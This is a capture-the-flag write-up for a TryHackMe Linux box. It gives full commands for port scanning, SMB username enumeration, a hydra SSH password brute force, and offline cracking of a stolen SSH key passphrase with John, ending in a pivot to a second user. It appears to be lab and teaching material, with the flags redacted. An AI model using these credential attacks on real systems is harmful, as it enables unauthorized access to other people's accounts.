| Platform | TryHackMe |
| Difficulty | Easy |
| OS | Linux (Ubuntu) |
| Tags | web, smb, tomcat, ajp, privesc |
TL;DR
A methodical enumeration box. A full-port nmap exposed SSH, HTTP, SMB, AJP, and Tomcat. A hidden /development/ web directory leaked developer notes that pointed to a weak-password user. SMB enumeration gave the real usernames jan and kay, then hydra brute-forced jan’s SSH password. kay’s .ssh directory was world-readable, so her passphrase-protected private key was cracked offline and used to pivot to kay and read her password backup.
Reconnaissance
Two-phase nmap: a fast full-port sweep first, then version and default-script scans against only the ports that answered. The high ports (AJP, Tomcat) get missed by a default top-1000 scan.
# Phase 1: all 65535 TCP ports
nmap -p- --min-rate 1000 -T4 TARGET_IP -oN scans/phase1.nmap
# Phase 2: service/version + default scripts on the open ports
nmap -p 22,80,139,445,8009,8080 -sC -sV -O -oN scans/phase2.nmap TARGET_IP
Open ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 (Ubuntu) |
| 80 | HTTP | Apache 2.4.41 (Ubuntu), no page title |
| 139 / 445 | SMB | Samba 4 (NetBIOS name: BASIC2) |
| 8009 | AJP13 | Apache Jserv 1.3 |
| 8080 | HTTP | Apache Tomcat 9.0.7 |
Enumeration
Web: hidden directory
Port 80 served no title, a tell that content lives in unlinked directories. A directory brute force surfaced one:
dirb http://TARGET_IP
# ==> DIRECTORY: http://TARGET_IP/development/
Inside were two developer notes. dev.txt named an Apache Struts 2.5.12 install and two authors by initial, J and K. j.txt was a message telling J that their /etc/shadow hash had been cracked easily, a direct hint that J has a weak password.
SMB: real usernames
The notes gave initials, not logins. RID cycling over SMB resolved them to real local accounts:
enum4linux -a TARGET_IP
# S-1-22-1-1000 Unix User\kay
# S-1-22-1-1001 Unix User\jan # "J", the weak-password target
# S-1-22-1-1002 Unix User\ubuntu
The username has to be exact. Reading jan as jay sends the brute force after an account that does not exist, and it fails silently through the entire wordlist. The RID-cycle output is the source of truth.
Initial Access / Foothold
Online brute force of SSH for jan, whose weak password was hinted by j.txt:
hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh://TARGET_IP -t 16 -V -f
# [22][ssh] host: TARGET_IP login: jan password: THM{REDACTED}
ssh jan@TARGET_IP
hydra reads gzip wordlists natively (it links zlib), so rockyou.txt.gz works without decompressing. For a weak-password target, trimming the list (head -n 10000) finds the password far faster than grinding all 14M lines.
Privilege Escalation / Lateral Movement
As jan, sudo -l granted nothing. But kay‘s .ssh directory was world-readable, exposing a private key. It was encrypted, so passphrase-protected:
sudo -l # jan may not run sudo
ls -la /home/kay # pass.bak (kay-only), .ssh world-readable
cat /home/kay/.ssh/id_rsa # Proc-Type: 4,ENCRYPTED -> passphrase-protected
A key passphrase is just a password, and it cracks offline with no rate limit. Convert the key with ssh2john, then run John against rockyou:
chmod 600 kay_id_rsa
ssh2john kay_id_rsa > kay_id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt kay_id_rsa.hash
# passphrase: THM{REDACTED}
Unlike hydra, John does not read gzip. Point it at a decompressed list (zcat rockyou.txt.gz > rockyou.txt) or it tests binary garbage and finds nothing.
Log in as kay and read the password backup:
ssh -i kay_id_rsa kay@TARGET_IP # enter the cracked passphrase
cat ~/pass.bak # kay's account password -> THM{REDACTED}
Flags / Loot
| Item | Value |
|---|---|
| jan SSH password | THM{REDACTED} |
| kay key passphrase | THM{REDACTED} |
| kay account password | THM{REDACTED} |
Values redacted for publication. The method to recover each is described above.
Lessons Learned
- Always full-port scan (
-p-) before service scans. AJP (8009) and Tomcat (8080) only show on a full sweep. - Read developer leftovers.
/development/handed over the usernames and the weak-password tip. - Verify the exact login via SMB RID cycling before brute forcing. One wrong letter wastes the whole run.
- A world-readable
.sshis game over for that user. An encrypted private key is only as strong as its passphrase. - Know your tools’ wordlist handling. hydra decompresses gzip, John does not.
- MITRE ATT&CK: T1110 Brute Force, T1552.004 Unsecured Credentials: Private Keys, T1078 Valid Accounts.
References
- Tools used, all shipping on Kali:
nmap,dirb,enum4linux,hydra,ssh2john, John the Ripper. - Wordlist:
/usr/share/wordlists/rockyou.txt. - Original box by Josiah Pierce (Vulnhub).
Note on process: the note-taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the box, running the tools, obtaining the flags) was done by a human behind the keyboard.
